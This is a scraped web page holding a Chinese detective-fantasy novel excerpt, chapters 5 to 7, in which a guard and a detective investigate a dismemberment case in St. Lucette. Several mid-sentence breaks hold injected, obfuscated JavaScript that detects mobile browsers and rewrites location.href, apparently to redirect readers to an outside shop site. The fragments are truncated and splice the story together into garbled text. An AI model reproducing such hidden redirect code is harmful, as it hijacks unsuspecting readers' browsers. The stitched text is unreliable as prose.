l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356895|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到有关他职业,身份,来往场所的信息,也没有手机,电脑之类的电子设备。他甚至不是在这里被杀的,这个房间很乱只是因为他糟糕的生活习惯而不是有人在这里打过架,里面到处都是垃圾——” 她有些急躁地思考着自己在楼上的所见,但还是不得要领。没办法,她只是个最低阶的护卫而已。要是她是一个能自如控制五感的哨兵,她一定能从那满房间的杂物里找到有用的线索吧。莱蒂斯想着。她真不想承认自己什么都没找到,却只能记起那让人窒息的味道。 最后,她有些挫败地挤出一句:“每个地方都很难闻。只有他的衣柜……他的衣柜里是干净的,有一点很淡很淡的香味,可能喷过清新剂。” “哎呀,这我确实不知道。”尼尔森语气做作,“看来那家伙还是在乎他出门时的闻起来怎么样的。” 莱蒂斯瞪了他一眼。尼尔森察觉到失望的感情,但那不是针对他的,更像是针对她自己的。她似乎想再说些什么,但房间里突然响起一阵不太明显的咕咕声。 实习警员僵了一下。她的表情更加阴沉了,却移开了目光。 尼尔森有点想笑:“怎么了?” “没什么。” “饿了?现在已经一点了,你还什么都没吃。” 莱蒂斯看起来不是很想理他。 尼尔森把手里的意面端起来了一点,暗示性地指向厨灶下的冰箱:“想吃点东西吗?” “……嗯。”莱蒂斯终于意识到自己已经饿得有点难受。她小幅度点了点头,不太情愿但还是保持了礼貌:“谢谢。” “不用谢。”尼尔森笑着吃了口意面,“但其实我房间里一点吃的都没剩了,你想吃的话自己去楼下买吧。” 人在自己的家里总是容易放松警惕。 倒不是说尼尔森对这破公寓有什么归属感,但他确实经常像这样在房间里无所事事地吃速食意面。等莱蒂斯因为他无聊的恶作剧离开后,安静的氛围让他产生了今天也是普通的,无所事事的一天的错觉。他甚至开始考虑睡个午觉。 所以当他突然反应过来,让莱蒂斯一个人在圣卢赛特混乱的贫民区买吃的也是一件危险的事情的时候,已经有点晚了。 6. 第五章 尼尔森匆匆赶到楼下,环视四周的街道。B21公寓位于一个十字路口附近,总是习惯性低着头的行人们和尼尔森擦肩而过,像一条肮脏而湍急的河流。 在这附近活动的人都穿得和这片街区一样灰暗,其中不乏小偷,药贩子,抢劫犯和面色阴狠的打手。咖啡厅,杂货铺,连锁的超市挨个嵌在建筑第一层,装潢和灯光和市中心其实没什么区别,却透露出一种莫名的萧条。这里是圣卢赛特的贫民区,连风似乎都是沉闷的灰色。 在街角的一辆旧餐车前,尼尔森看见了穿着黑衣服的高马尾少女,她正在和一个人说些什么。 他赶紧迈步过去,转眼却看见一个黑影迎面飞来。尼尔森左脚一抬右脚一跳,以一个相当滑稽的姿势闪到一边,那个黑影摔在他身旁,还往后滑了一截。 “我靠啊——”地上的身影起伏了两下,然后发出惨叫,给尼尔森吓一跳。那是一个高瘦的男人,正捂着肚子倒在地上,看起来被踹得正中胃部。 尼尔森猜他裤子应该已经磨破了。 他颤颤巍巍爬起来,突然头一低,呕出一滩带血的胃酸和食物残渣,喘了几下好几下才缓过劲来,对着餐车方向喊:“敢踢老子!他妈找死吗!!” 他这副模样实在是没什么说服力,连尼尔森这个无辜路人都觉得尴尬。侦探跟着往餐车看去,莱蒂斯正从格斗的姿势恢复成站姿,显然就是她刚刚一脚踹飞了这个比她高得多的男人。 “你清楚你刚刚说了什么。”隔着五米左右的距离,莱蒂斯居高临下地对那个男人说。 “我他妈是在跟她说话!”男人指着餐车里一脸惊魂未定的收银女孩。脏话仿佛是他语言体系里不可或缺的重要结构: “我夸她身材正点关你屁事啊!我又对你们这些天杀的变异人不感兴趣!你他妈谁啊!你管我说了什么?你是条子吗?!” 莱蒂斯即使一直在圣所里学习,也通过网络知道条子是对警察的一种蔑称。她理直气壮地回答:“我是——” “她是个狂躁状态的护卫!你别管她!”尼尔森赶紧提高声音插嘴,在贫民区表明自己是条子约等于在机场大喊自己是恐怖分子,已经有几个路人停下脚步来开始观望。 他一个转身挡在莱蒂斯和男人面前,一脸通情达理:“兄弟,你何必跟一个发癫的变异人计较,谁知道她待会儿疯起来会是什么鬼样子。而且被一个小姑娘一脚踢飞还挺掉面子的,别引更多人来看了赶紧走吧。” 男人看了看围观的人,感觉确实有点丢人,转而开始恶狠狠地盯着尼尔森看:“你他妈又是谁?” “我来抓她回去治疗。你懂的,给市政厅打工的。”尼尔森编故事编得行云流水,音量仅限两人能听见以免莱蒂斯再冲动地否认。 但男人并不在乎他的真实身份,他只是想抓着一个和那小姑娘有关的人泄愤而已。他翻身起来,对着尼尔森的小腹一脚踢过去,对方却像是感受得到他的敌意一样提前跳开了。 更多的路人看见了他踢空的这一脚,有人已经开始笑了。男人大吼一句看什么看,灰溜溜地跑路了。 “她真的在狂躁吗?”尼尔森走到餐车前,先对他说话的却是收银员。她看起来受到了惊吓,双重的。 “我不是。我只是在阻止他骚扰你。”莱蒂斯解释道。她看上去很酷很冷静,但尼尔森察觉到她有点委屈。 “可你确实是一个护卫……”收银员小姐警惕地看着她的耳钉,“你不是这个街区的人。一个护卫为什么会突然到这种地方来?” “她是来找我的。”尼尔森站到莱蒂斯旁边。这辆旧餐车在他搬过来之前就在这里经营了,收银员小姐认识很多住这附近的人,尼尔森就是其中之一。 “她来找您是为了……?” “这是客户隐私。不过你知道的,还是出轨那一套。她感官很灵敏所以已经有所察觉,不过想让我找点切实的证据,这样她把那家伙沉奎因河里的时候就不会愧疚了。” 尼尔森边说边使劲给莱蒂斯使眼色,但莱蒂斯还是固执地说:“我没——” 她没能把话说完,因为八卦快速吸引了餐车收银员的注意力。 “什么,沉河里?” 莱蒂斯:“不是,我没有——” “干得漂亮!” 对于一个在圣卢赛特贫民区工作的收银员小姐而言,一个陌生的护卫也许会让她不安,但把男友沉河里的暴言却不知为何让她倍感亲切。这一下子就拉进了她和陌生护卫的距离。 她终于摆脱了惊吓,反应过来自己是受到了帮助,同情地伸手拍了拍莱蒂斯的肩膀:“怎么会有人不珍惜您这样漂亮又勇敢的姑娘呢?他罪有应得。” “可是……” “我真希望您从未遭到背叛,但如果您下定决心要把那家伙沉河里,我会为您加油的。” “但我——” “叮!” 收银员背后的炉子响了一声,像是一个点赞的音效。 “抱歉,我刚刚有点被吓到了。”收银员小姐取出加热好的卷饼,真诚地对莱蒂斯说, “无论如何,谢谢您帮忙。那个男人已经连续骚扰我一个月了,您做了我一直想做的事情——要是能踹他下面就更好了。要是没有您这次不阻止他,我就要去找帮派把他割以永治了。” “这个卷饼就当是我对您的感谢,请您拿好,我不收您钱。” “你看,”尼尔森感叹道,“圣卢赛特人多热情啊。连你要把男朋友沉河里都有人给你加油打气。” 在莱蒂斯茫然地吃完卷饼后,尼尔森跟着她前往了另一个死者的住所。他们又坐了一个半小时的地铁,从城西南摇摇晃晃到了东南方向。 圣卢赛特的富人区和贫民区的天差地别,有如天堂和地域,但散落在市中心远处的贫民区和贫民区之间永远都是相似的。他们走出到处是小纸片和口香糖的地铁口,穿过那些砖红和土灰交错的老房子,到达了海克.雷德的家。 好消息是,海克.雷德的家很干净。 坏消息是,海克.雷德的家太干净了。 莱蒂斯在空荡荡的房间里到处搜寻,但第一位死者的家实在是干净得像是从没住过人。这个墙面都剥落了的单室公寓房里没有厨具,没有剩下的食物,甚至除了床上为哨兵专门设计的床单和被套之外,没有任何私人物品。 海克.雷德死于十天前,尸体则在一个星期前被发现。莱蒂斯闻得出这里只有一个人的残留气味,也就是说这十天里并没有人来过这里。 硬要说的话,哨兵的房间保持高度的整洁才是正常的,因为他们无法忍受混乱的房间带来的视觉刺激,也受不了被嗅觉放大的难闻的味道。 但海克.雷德的房间的不同寻常在于,这里一点生活的痕迹都没有,好像一本书只有封面,却被撕掉了所有内页。 她不知道自己要找什么,也不知道自己能找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356896|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到什么。她所谓的合作伙伴,那个叫尼尔森的侦探非常理所当然地站在门边玩手机,帮她开锁就是他愿意提供的最大的帮助,她只能靠自己。 莱蒂斯再次闭上眼睛,解放嗅觉的灵敏度。这个房子里没有上一个公寓里的酸臭味,但莱蒂斯总觉得这里面沉闷的空气里藏着点什么值得注意的东西,她的直觉因为这种东西的存在而雀跃,她的思维却不明所以。 两个受害者没有任何关联,他们的长相,性格,生活习惯都完全不同。他们一个恪守哨兵克制的生活习惯,另一个却放任药物麻痹自己的感官。怎么会这样呢?甚至连药物都不是一条共通的线索,难道凶手真的是随机挑选的受害人吗,还是说这根本就不是同一个人干的—— “莱蒂斯,莱蒂斯?你不会睡着了吧?醒醒,连我都看出来这里啥也没有了,走吧。” 尼尔森的声音从门口传来,思路被打断的莱蒂斯睁开眼睛。她不明白布列塔尼部长为什么会选择这个人来保护自己,他除了嘲笑自己和耍些小聪明之外几乎什么也没做, 莱蒂斯很想揍他,就像揍维克镇的圣所里那些挑衅她的哨兵那样。但布列塔尼部长信任这个男人,如果她希望他们能好好相处,她不会和他打架。 何况她很清楚,真正让她生气的从来就是她自己。要是自己更强一些,要是自己哪怕再能自如地控制多一个感官,说不定她就能帮上什么忙了,说不定她就能离真相更进一步了。 “嗯,”她心情沉重,面无表情地走向门口:“走吧。” “可以了吧,两个受害者的家我们都去了,今天就到这儿吧。”尼尔森说。他和莱蒂斯并排站在海克.雷德的公寓外,一个捏扁的咖啡杯正好被风吹着,从他们面前滚过去。 “……”莱蒂斯一声不响地掏出手机,找出布列塔尼部长发给她的办案常见流程。她还什么线索都没找到,不想就此停下。 尼尔森借着身高优势,歪着头和她一起看手机屏幕。在“调查受害者公寓”的下一条是“查看监控,寻找受害者日程”。 “嗡。” 就在这时,一条新的信息从手机屏幕顶端弹出。那是一条短信,发件人是布列塔尼。 莱蒂斯眯了眯眼睛,瞥了尼尔森一眼,当着他的面点开了短信。上面写着: “亲爱的小莱蒂斯: 第一位受害者的妹妹,卢娜.雷德小姐同意接受询问。她在皇家格兰戈医院的病理科工作,答应在今天五点下班后和你们谈谈。这条消息本来被压下去了,但她是昨天晚上回复的,严格来说是在禁令生效前的情报,我们有权知道,所以我就去逼问出来啦。 去医院时报你们的名字就好,我替你们联系好了。 ^^” 莱蒂斯散发出惊喜的情绪,尼尔森则在看见逼问这个词的时候打了个寒颤。然后他发现自己的手机也跟着震动了两下。 他掏出手机,上面显示他也收到了一条来自布列塔尼的短信。共感者调查部的部长温馨地提醒他: “要好好保护小莱蒂斯哦。*v “……” 尼尔森嘴角一抽。 他还没来得及回复她这小姑娘一脚把流氓踹飞到五米开外的壮举,下一条短信又来了: “要是她受伤了,你就得小心了哦。*v “……”尼尔森放弃了,他把手机揣回兜里。妈的,他宁愿去面对那些帮派。这女人比那些帮派可怕多了。 7. 第六章 第七章聊不下去 皇家格兰戈医院是一所教学医院性质的综合医院,自成立以来就一直是奥西恩王国最顶尖的医疗机构之一,也是圣卢赛特最著名的医院没有之一。由于其杰出的地位,皇家格兰戈医院与圣卢赛特的政府和圣卢赛特塔之间都有合作关系。 它位于寸土寸金的圣卢赛特市中心,主体是一栋正面呈曲面的特殊建筑。那标志性的流程曲面由建筑玻璃组成,像是一块巨大而透亮的屏幕一样屹立在繁华的都市之中。天晴时,那上面会映出漂亮的蓝天和流云,然而圣卢赛特的气候潮湿,天空晦暗,这使它在大多数时间里都像一块灰暗而不详的幕布。 莱蒂斯和尼尔森一起走进这块幕布背后。他们要找的病理科主要工作是病理诊断,整个部门都藏在医院深处,两人跟着路标像走迷宫一样绕来绕去,才终于找到了卢娜.雷德的办公室。 房间里弥漫着医院里随处可见的消毒水味,一个戴着口罩,穿着白大褂的黑发女性坐在放着检验仪器的办公桌边。她也有一双黑色的眼睛,但和她那惨死的哥哥不同,卢娜.雷德的目光并不阴郁。它只是很冰冷,很平静,好像无论什么对她来说都和显微镜下的细胞没有区别。 口罩挡住了她的大半部分面容,尼尔森看不出来她漂不漂亮,但他对这样的人只想敬而远之。 她显然不喜欢拐弯抹角,莱蒂斯还在礼貌性地向她问好,她却只是点了下头,仿佛这次询问只不过是下班前最后一次问诊: “我知道你们是来问我海克.雷德的事情的。说吧。” 她提起第一位受害者的样子像个完全的旁观者,甚至很生疏地用名字称呼他。 尼尔森也没有察觉到她有什么情感波动。 莱蒂斯则认真地看着她,像是要用目光撬开一把锁: “感谢您的配合。您是调查部所知的,唯一和海克.雷德有关系的人,我们希望您能提供关于他职业,性格,人际交往一类的基本信息。请您放心,所有的内容我们都会严格保密,仅作为线索使用。” “我恐怕我很难帮上忙。”卢娜.雷德的声音冷清,“我确实曾有个叫海克.雷德的哥哥,但自从他十岁觉醒成哨兵,被送往圣所之后,我就再也没见到过他。那时我六岁,现在我已经二十五岁了。” “我记得您提到过他是‘失踪’的。” “他是。他在被送去我家附近的圣所之后就再也没联系过家里。我的父母和我都是普通人,都信了圣所的管理。直到那年圣诞,海克.雷德没有再假期回家,我们才意识到不对。我们去找人,圣所却说从来没有过叫海克.雷德的哨兵在这里登记过。圣所认为他可能是在登记前就逃走了,或者被拐走了。无论如何,没有人知道他的踪迹。” “我很抱歉听到这些。”莱蒂斯说,她的同情是真实的,“那么关于您的学贷呢?您知道是他帮您还上的吗?” “从没想过。我从没觉得海克.雷德会再次出现在我的生活里。说实话,警局告诉我那笔钱的来历时,我相当吃惊。”卢娜.雷德用完全不吃惊的语气陈述着,莱蒂斯想象不出来她吃惊的样子。 “您就没有怀疑过这笔钱的来历吗?” “当然怀疑过。我认为那是洗钱过程中误转到我账户里的资金。我还联系过银行退还这笔钱,但他们拒绝了。这浪费了我很多时间。” “事实上,我们的确怀疑海克.雷德涉嫌从事非法产业。” “感谢的告知。看来我还是得让银行把这笔钱退还才行。” 卢娜.雷德看起来事不关己,毫无破绽,尼尔森对此毫不意外。这个女人如果不是一个习惯于抽离在事外的人,就是一个非常善于藏起自己感受的人,这两种人在医院里都不少见。面对每天都上演的悲欢离合,人类需要这样把自己保护起来。至于莱蒂斯能不能对付这样的人,就和他没关系了。 见旁敲侧击没有用处,莱蒂斯终于直白地问道: “所以,您在海克.雷德去世前真的没有和他联系过吗?” “没有。” “您需要为您的证词负责。您敢发誓您没有撒谎吗?” “我发誓。” 尽管法律和信仰在圣卢赛特都算不上能仰仗的东西,但尼尔森还是在莱蒂斯幼稚地追问时降低了精神屏障的强度。如果卢娜.雷德有一丝破绽,他都能接收到她的情感辐射,但她毫不动摇,短视频APP上的看客都比她更在乎她哥的脑袋在哪。 她的态度也让莱蒂斯觉得棘手,她是如此冷漠,以至于莱蒂斯都不知道该怎么应对了。她没有经验,一股脑地问完了问题,却没找到任何突破口,一时只觉得身在一个分不清方向的迷宫,不知道下一步该迈向何方。 办公室陷入安静了。卢娜.雷德见莱蒂斯陷入沉默,把目光转向站在一边的尼尔森。 摸鱼的尼尔森只是怂了怂肩。 “我可以认为这次询问已经结束了吧,二位。那么,容我告辞。”卢娜.雷德站起身来。就像她主动开启这场对话一样,她又主动而干脆地结束了它,理所当然的样子像是敲下一个句号。 莱蒂斯皱起眉,显然并不甘心。尼尔森觉得一个冷着脸的小姑娘被另一个冷着脸的大人压一头很有趣,完全开摆看戏。 几秒的思索后,冷着脸的小姑娘抬起头,看着已经自顾自开始收拾东西的卢娜.雷德: “请等一下。我还有最后一个问题。在您的印象里,海克.雷德是个好人吗?” “……”卢娜.雷德收拾的动作顿了一下,冷淡的目光缓缓转向年轻的实习警员。隔着一堆冰冷的高端仪器,她俯视着莱蒂斯: “这和案子有什么关系?” “他是这起案件的受害者,我认为有了解他的必要。”莱蒂斯说。 卢娜.雷德的眼神似笑非笑:“只有好人才算是受害者吗?” “我不是这个意思。一位经验丰富的警员小姐提醒过我,受害者的性格也能指明案件调查的方向。您说过您哥哥可能是被拐走了,也许他涉嫌非法产业是身不由己。” “那只是一个猜测。我不建议您把这当做调查的依据。”卢娜.雷德满不在乎地说。莱蒂斯的心沉了一下。 “但这的确是一个很私人的问题。在我回答之前,请你们先回答我的。”卢娜.雷德接着道。她的反问来得突然,语气依然淡漠,目光里却带上来审视: “我昨天联系警局,答应接受询问时,你们说过此案已经不需要我的帮助。为什么今天又来找我?” “那不是我们——”莱蒂斯试图解释。 卢娜.雷德打断她:“你们不是共感者调查局的吗?” “我们是。但现在这起案件只有我们有权参与调查,我想您被我的同事们拒绝可能是因为他们没有权限。”莱蒂斯冷静地说,尽管她并不知道为什么卢娜.雷德的会被回绝。 尼尔森扬了扬眉毛,他倒是不认为这个理由站得住脚。 卢娜.雷德显然也不觉得:“所以现在只有一个什么都不懂的新人和一个游手好闲的混混调查这件事,我明白了。” 她没有带讽刺的情绪,但仅仅是平板的陈述也有些刺痛莱蒂斯。 “也许其他部门的人不在乎,但我想找到真相。”莱蒂斯说,她的语气坚定,但在卢娜.雷德的目光里,她放在膝盖上的手下意识地握紧了,“如果可以,我不仅想查明谁是凶手,还想查明被害人的过去。如果死者并不是一个罪犯,我不会让他作为一个坏人留下最后的档案。虽然我的能力有限,但我认为……这是我的责任。” 浓重的消毒水味里,时间似乎都慢了下来。病理部医生看了莱蒂斯一会儿,又接着收拾起了自己的挎包。 她说:“真令人敬佩。但我联系你们只是想让你们去向银行证明,那笔钱真的不属于我。我不希望自己的账户里有会影响到自己前途的资金。如果银行致电贵局讯问,请记得帮我作证。” 莱蒂斯因为这漠然的话怔了一下。她抿了抿嘴,低下了头。 卢娜.雷德不再理会这个低落的新晋小警员,她想说的已经说完了。她走向办公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356897|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室的门口,莱蒂斯听见了门把被按下的咔哒声。 尼尔森活动了一下站僵的腿,准备走人。 但伴随着走廊流动而来的空气,尼尔森突然感受到了一阵微弱的情绪波动。 那是悲伤。 悲伤?妈的,谁在这里悲伤?尼尔森以为那是幻觉,可那悲伤转瞬间变得剧烈,就好像堤坝终于无法阻拦洪水。决堤一样的悲痛席卷而来,重重击打在他刚减弱了的精神屏障,让他头晕目眩。 这种剧烈的情绪波动对向导来说约等于往脑子里打的子弹,他没料到会在这个房间里猛然接收到如此强烈的情绪,差点无法呼吸。 冷而沉重的感觉压在他的思维里,好像他突然沉入了深海。 谁? 尼尔森警铃大作,他把屏障拉满,冲过去拦在莱蒂斯和门之间,这哪怕是有人在门外面来医闹他也得保证莱蒂斯不被波及到。结果莱蒂斯被他吓了一跳,也站了起来,散发出准备战斗的警惕,反而冲到了他前面。 但办公室的门口只有已经迈出门外的卢娜.雷德。她停在那里,侧着脸看着莱蒂斯。走廊发白的灯光和办公室昏暗的光线拉扯着她,她的表情依然没有变化。 但她喊了莱蒂斯的名字。 “莱蒂斯警员……我的确对他了解不多,这是真的。”她带着那普通人根本无法察觉的,令人窒息的悲痛,对上莱蒂斯干净又倔强的墨绿色双瞳,“但如果你要问我,我会说,我的哥哥是一个善良的人。” 皇家格兰戈医院的病理科隐藏在整个医院深处,办公室外是迷宫一样绕来绕去的路。等尼尔森从爆炸的情绪里恢复,跟着莱蒂斯一起冲出房间的时候,卢娜.雷德已经消失在了走廊之中。 无处不在的消毒水淹没了她的味道,莱蒂斯的嗅觉毫无用武之处。 小警员和侦探站在一个走廊的岔路口正中,面面相觑。 莱蒂斯问:“你刚刚为什么突然跳起来了?” 尼尔森说:“卢娜.雷德刚刚情绪波动比较大,我怕她冲动动手。” 莱蒂斯眯起眼睛:“她……情绪波动了?” 尼尔森面不改色:“波动了。” “你又不是向导,你怎么知道?”她狐疑地看着尼尔森什么都没有的左耳垂。 “我看得出来,微表情。网上有教程,我学过。”尼尔森张口胡扯,“我这个侦探不是白当的。” “可卢娜小姐最后在想什么呢……”莱蒂斯信了,也许她眼中侦探都像福尔摩斯那样无所不能。她开始往外走:“我没想到她会愿意告诉我。虽然她的答案很模糊。” “嗯……”尼尔森跟着她,随口说着,“根据微表情,我觉得她破防了——别瞪我。好吧,她很难过。” “难过……你确定吗?可是为什么呢?我最后的话让她伤心了吗?” “嗯,我不觉得凭你能让她伤心。” “或者是因为海克.雷德吗。她其实还是在乎她哥哥的死,即使他们已经十九年没见过。”莱蒂斯压根没理他,显然只是在自言自语。这个结论让她心情明朗了一些。虽然卢娜小姐知道得不多,但她还关心着失踪已久的哥哥,她也愿意信任自己这个平平无奇的护卫,自己终于开始值得他人的信任了吗…… “所以,今天就到这?已经快六点了,医院都下班了。”尼尔森打断了思绪复杂的少女。他真的累了,只想下班回家,一想到接近两个小时的通勤,他就想一头栽倒在地上。 但为了对付这个难搞的保护对象,他还是耐下心来。他绕到莱蒂斯面前,弯下腰用金色的眼睛看着她,露出个温柔的笑,通情达理地说:“你也辛苦了一天了,回去休息吧。这才第一天,我们还会有很多时间的。” “市区各分局的监控部门会24小时值班,他们不下班。”少女油盐不进地直视着他,“我们也不休息。根据布列塔尼部长给的建议,下一步我们要一起去你家附近的警局查你楼上邻居的行踪。” 好吧,至少尼尔森的其中一个愿望实现了——他差点真的栽倒在地上。 8. 第七章 尼尔森站在圣卢赛特警局西南区分局里,他能感知到明显失望的情绪。 这情绪来自莱蒂斯。 但别误会,这并不是“我们努力查了监控却一无所获所以断了线索”的那种失望,而是“迪○尼乐园里的唐○鸭突然摘下头套开始抱怨工作待遇不好”的那种失望。 这里是分局的监控部门。根据电影呈现给大众的画面,这应该是一个高端严密的重要场所。 这里的墙面上应该全是数量庞大,记录着街道人来人往的高清屏幕,办公平台上有花花绿绿的复杂按钮和尖端电脑。一位特立独行的酷炫警员仅凭一人之力处理着一切,正坐在电脑正前方把咖啡当水喝。 结果标着“监控室”的大门被推开后,他俩只看见了一个不算宽敞的房间,几排拥挤的工位,还有过时的电脑。 没有屏幕,没有操作台,整个监控室看起来更像是一个快要倒闭了的公司。 自然,这里也没有酷炫的黑客警员。领他们来的那个警员顶着眼镜和黑眼圈推门进去,坐在其中一个工位上,一脸疲惫地问他们:“你们要查什么?告诉我时间段和地点。” 尼尔森看了眼旁边小姑娘的头顶,她没动作,但他听见了某种幻灭的声音。 莱蒂斯在短暂的沉默之后,成功把“说好的科幻片场怎么变成普通办公区了”转化成了更合理的表达:“我们要查的位置比较偏远……所有西南区的监控都在这里吗?这个房间看起来很小。” “确切来说,是所有西南区的监控录像都能在这里查到。”疲惫的警员疲惫地回应。也许是莱蒂斯看起来年龄就不大,他对这个缺乏警员常识的问题展现出了相当的耐心。 “如果你说的监控指的是那种和摄像头同步的监控屏幕,它们分布在每个基础辖区的派出部门。” “分局根本没那么大地盘塞下所有屏幕,我们有的是获取西南片区数据库里所有监控的权限——这个旧电脑就足够帮我们实现了——监控覆盖的周期是一个月,因为上面不愿意批钱给我们换更好的储存器。” 他的话里夹杂着社畜已成习惯又不抱期待的抱怨,给莱蒂斯揭开了社会险恶的冰山一角,可惜在圣所里长大的护卫少女目前还不太关注分局的经费问题。 “我明白了。”她认真地点点头,表示自己接受了这里没有大屏幕的残酷现实,然后报上了B21公寓的邮编,并补充上时间: “被害人死在三天前。从他的公寓来看,他习惯闭门不出,不会长时间离开公寓。所以我认为他在四天前离开的可能性比较大。时间就定在四天前吧。” 警员听完,把编码输入电脑里。 几秒后,他抬起头来:“如果你们今天准备熬夜查监控的话,我有个好消息告诉你们。” “这栋楼附近没有监控。你们可以回去休息了。” “你看,我就说吧。”尼尔森露出个忍辱负重的笑,“我一直都跟你说B21周边没有监控,你不信。” 他在路上尽力向莱蒂斯解释了。从圣卢赛特警局不乐观的经费,到摄像头被频繁破坏的失败尝试,再到贫民区的犯罪从来没人想管的事实,全面完善地阐释了为什么B21那破地方的附近为什么没有监控。 但莱蒂斯不信。 他摸的鱼带给了他报应,莱蒂斯只觉得他是想回家睡觉。 “不用找理由,我知道你是想睡觉。”她说。 地铁上稀稀拉拉的乘客都抬起头来。即使尼尔森盯着黑眼圈,一副确实需要睡眠的样子,猥琐的人也会从另一个角度解读莱蒂斯的话。 尼尔森通常来说是不在乎这个的,但这次他转了一下手腕,在莱蒂斯看不到的角度对一个笑得很猥琐的中年男人比了个中指。 男人愣了几秒,变得恼羞成怒。 啊,真麻烦,脆弱的自尊心,明明是自己有问题,却因为被指出来而迁怒别人。 尼尔森真想念自己的向导能力,要是那玩意还能用,这个人现在就会突然发疯怪叫,拿头框框撞地铁座位撞出好一个安○腰鼓。 可惜他现在只能再打一个威胁的手势。一个下划的手刀,意思是再动一下就死。 那个大腹便便的上班族僵了一下,尼尔森这种游手好闲的人在圣卢赛特很危险,他们没有牵绊,也就无法无天。最好是躲着走。 他本来就有点怂,注意到莱蒂斯的耳钉之后,上班族意识到这丫头原来是不好惹的共感者,讪讪地转过了头。 “你觉得,有没有一种可能,我想回家补觉和B21没有监控是可以同时成立的呢?”尼尔森假装什么都没发生,真诚地继续和莱蒂斯说。他已经习惯建立在隐瞒和谎言上的生活,连他自己都不知道自己还能如此真情实感地说出一句话。 “你想回家的话可以随时回去。”莱蒂斯通情达理地说,“我一个人去查就可以了。” 她这话是认真的,尼尔森知道她其实一心想单干。可惜他知道事情并没有那么简单: “你会告诉布列塔尼吗?” “我会向布列塔尼部长如实汇报调查的过程。” 布列塔尼的微笑和大象同时出现在尼尔森脑子里。他深吸一口气,稳定住了僵硬的表情,接着好言相劝: “何必呢。等你到了,你就会发现我说的是实话。然后我们都无功而返,浪费两个小时珍贵的睡眠时间。多不值当啊。” “不会浪费的。”莱蒂斯认真地回答他,“如果B21没有监控,我就去查附近的其他监控。总会找到线索的。” 莱蒂斯践行了她的诺言。 她先是不那么情愿但意外乖巧地向尼尔森说了句“好吧,对不起”,然后转向西南区分局的警员,问道:“我们不会就这么放弃的。请告诉我们离B21公寓最近的监控位于哪里。” 她道歉的样子和平时不太一样,脸上还是倔强的表情,耳朵却有点泛红。尼尔森还没来得及注意到自己那一瞬间变得柔软的心情,就因为下一句话重重叹气。作为一个经常小小地打破法律的私家侦探,他清楚那片区监控的位置: “你真的打算这么硬找吗?那就不是一时半会就能解决的事情了。” 莱蒂斯不服气:“我能找到的。” “不……这家伙说得对,这事不那么简单。”警 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356898|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 员带着一种加班的共情解释道,在屏幕上点开三个窗口,“那种贫民区,基本只有公共交通设施边上有监控。就你们要找的公寓而言,是西边两条街外的公交车站A,北边三条街外的公交车站C,以及一公里外主街上的地铁口。距离都不近。” 莱蒂斯点了点头。她思考了一下,情绪反而振奋了起来:“这足够了。 警员惊讶了:“足够了?” “嗯。因为带着尸体或者尸块行动比较困难,凶手应该是就近肢解被害人之后抛尸的。我想可以假设被害人是在抛尸的河岸附近被杀死的。” “而奎因河没有穿过西南部,被害人一定是先乘坐了公共交通去了河岸。即使只有这几个地方的录像,我们也办法找到被害人。” “他要是从其他方向步行走了呢?” “我想他应该不会步行跨过大半个西南片区,徒步走到奎因河畔” 尼尔森也跟着质疑:“没想过他会直接在楼下打车离开吗?” “他的经济情况不允许。你也看见了那些大量的药物包装——你的邻居把已经所有的钱都花在药上面了。” 她说得没错。尼尔森想,倒是难得发自内心微笑了一下。能排除各种低概率的可能,确定调查目标,她还真有天赋。 但天赋还不足以解决困境。 “那也还不够。”经验丰富的警员摇摇头,“这三个地方的人流量都很大,而你给我的时间也不够具体。这意味着,你必须保持注意力高度集中至少24小时,在人群里寻找一个人的身影,并且有可能需要重复三次。” “被害人染了很显眼的红色头发,很容易就能在人群里找到。” “你觉醒的感官是视觉吗,护卫。” “不是。” “那就不要抱有这种自信。当你必须长时间盯着密密麻麻的人群时,你的视觉会变得迟顿,而枯燥的过程会削弱你的注意力。更何况,在圣卢赛特,有夸张发色的人并不少,你还是需要结合体型,步态等要素去观察。” 警员像尼尔森之前那样,重重地叹了口气:“如果你不是觉醒了灵敏视觉的共感者,这件事对你们来说会非常困难。” 尼尔森点头赞同:“所以我们要不先解散,明天再想别的办法——” “不。”莱蒂斯说。她拉开一张椅子,在警员身边坐下:“请教我如何查看监控录像。我们马上就开始查。” “啊……如果只是找特定时间点的录像,我可以帮忙。但这种长时间的任务……对不起,我还有别的任务要完成。” 